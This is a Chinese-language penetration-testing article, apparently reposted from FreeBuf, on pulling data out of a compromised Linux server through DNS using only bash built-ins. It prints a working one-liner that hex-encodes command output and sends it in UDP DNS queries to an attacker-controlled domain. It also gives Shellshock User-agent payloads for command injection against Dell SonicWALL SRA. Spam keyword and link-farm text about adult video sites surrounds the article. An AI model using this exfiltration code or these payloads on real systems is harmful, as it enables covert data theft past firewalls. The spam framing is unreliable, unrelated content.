成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

如何在滲透測試中利用BASH和DNS下載數據

安全 網站安全
在滲透測試過程中,拿到服務器權限之后從服務器下載數據是一件比較費勁的事情,因為服務器一般都有防火墻在前面擋著。防火墻一般都會禁止服務器對外建立連接,這種情況下使用DNS來下載數據是一種行之有效的方法,因為防火墻一般不會禁止對外的DNS查詢,本文中作者將根據一個具體的實例來講解這個方法。

在滲透測試過程中,拿到服務器權限之后從服務器下載數據是一件比較費勁的事情,因為服務器一般都有防火墻在前面擋著。防火墻一般都會禁止服務器對外建立連接,這種情況下使用DNS來下載數據是一種行之有效的方法,因為防火墻一般不會禁止對外的DNS查詢,本文中作者將根據一個具體的實例來講解這個方法。

原理簡述‍‍

其實已經有一些方法可以搞定這件事情,來將服務器上的數據拖出來,但是存在的問題是,這些既有的方法都需要借助一些Linux上的軟件,而有時候并不是所有環境中都裝了這些軟件。比如我常用A軟件來拖數據,但是如果遇到一臺服務器上沒有這軟件,就白瞎了。所以,本文中使用BASH本身的功能來達到這一目的——通用、好用。

下面的代碼就是 POC:

LINE=`id`; domain="yourdomain.com";while read -r -n 1 char;
do var+=$(printf "%X" \'$char\');done<<<$LINE;b=0;e=60;l=${#var};
while [ $b -lt $l ];do >& /dev/udp/$RANDOM.$b."${var:$b:$e}".
$domain/53 0>&1;let b=b+60;done;>& /dev/udp/$RANDOM.theend.$domain/53
0>&1;unset var;unset var2

將上面的 domain 改為你自己的 DNS 服務器地址,LINE 是要執行的系統命令,比如上例中是查看當前id,domain指向你自己的server 地址,用來接受數據。在你自己的 server 上運行下面這段 ruby 腳本:

dns.rb

這段腳本用來獲取數據,比如執行下面這段腳本:

如何在滲透測試中利用BASH和DNS下載數據

在自己的機器上接受到的數據如下:

如何在滲透測試中利用BASH和DNS下載數據

顯然這是一個行之有效的方法,但是,如果你遇到什么問題,可以直接找[原博]跟作者交流。

一個實際案例

‍‍之前我發現Dell SonicWALL Secure Remote Access (SRA)系列軟件有Shellshock漏洞,當在http header中攜帶下面這樣的ua ,server返回的是200 :‍‍

User-agent: () { :; }; /bin/ls

 

如何在滲透測試中利用BASH和DNS下載數據

但是如果提交包含如下User-agent的請求,server端返回 500 錯誤:

User-agent: () { :; }; /bin/fake

如何在滲透測試中利用BASH和DNS下載數據

當然也可以用下面的User-agent的請求確定,這套軟件確實有漏洞:

User-agent: () { :; }; /bin/sleep 60

現在問題來了,在這種情況下,我只能執行命令,卻無法得到回顯,我嘗試了所有對外的鏈接,都被 server 禁止了,只有 DNS 可以用,可以用 telnet 來發起 DNS 請求。在這種情況下,上面我給出的 POC 就變得很有用了,并且非常隱蔽。

其他

目前Dell已經修復了這個漏洞,相關信息見:

https://support.software.dell.com/product-notification/133206?productName=SonicWALL%20SRA%20Series

參考信息來源:https://forsec.nl/2015/01/bash-data-exfiltration-through-dns-using-bash-builtin-functions/

責任編輯:藍雨淚 來源: FreeBuf
相關推薦

2021-03-11 21:30:43

BATSBash軟件開發

2015-04-09 10:58:09

2020-06-17 17:29:11

BashLinux

2023-01-09 08:39:38

因果推斷機器學習

2020-07-01 18:31:14

Linuxbash永遠循環

2023-10-19 14:52:27

2022-03-31 09:00:00

邊緣側DNS緩存邊緣計算

2017-12-11 13:50:17

LinuxBash子字符串

2023-08-09 10:10:58

2013-05-23 14:50:55

2020-04-09 10:18:51

Bash循環Linux

2020-01-02 15:40:23

Windows 10配置離線地圖

2023-06-25 18:52:48

2019-07-31 10:36:38

FirefoxDNS-over-HT瀏覽器

2012-10-23 16:28:51

2021-01-10 15:20:32

云滲透云計算滲透測試

2023-10-08 15:41:35

2014-01-15 11:25:30

2010-09-09 21:34:06

2022-02-09 11:51:43

滲透測試漏洞攻擊
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 久久免费观看一级毛片 | 欧美一级片在线观看 | 免费看91| 在线观看第一区 | 午夜视频在线免费观看 | 亚洲一区二区电影在线观看 | 欧美自拍第一页 | 精品免费国产一区二区三区四区 | 免费在线看黄视频 | 国产精品久久久久久婷婷天堂 | 日韩h| 99视频在线免费观看 | 成人午夜视频在线观看 | 亚洲第一成年免费网站 | 日本精品一区二区在线观看 | 欧美一区二区网站 | 99这里只有精品视频 | 在线观看国产精品视频 | 欧美精品一二三 | 亚洲欧洲激情 | 久久精品国产久精国产 | 欧美日韩成人在线观看 | 欧美一级免费看 | 精品福利一区 | 波多野结衣先锋影音 | 欧美日韩精品一区二区三区四区 | 精品视频一区二区 | 日韩精品在线一区 | 一区二区av | 中文字幕第九页 | 国产日韩欧美在线 | 日韩在线播放网址 | 午夜视频一区二区 | 在线播放一区 | 欧美一区不卡 | 欧美日韩在线视频一区 | 欧美日韩一二三区 | 国产精品视频免费播放 | 久久电影一区 | 国产成人精品久久 | 久久精品—区二区三区 |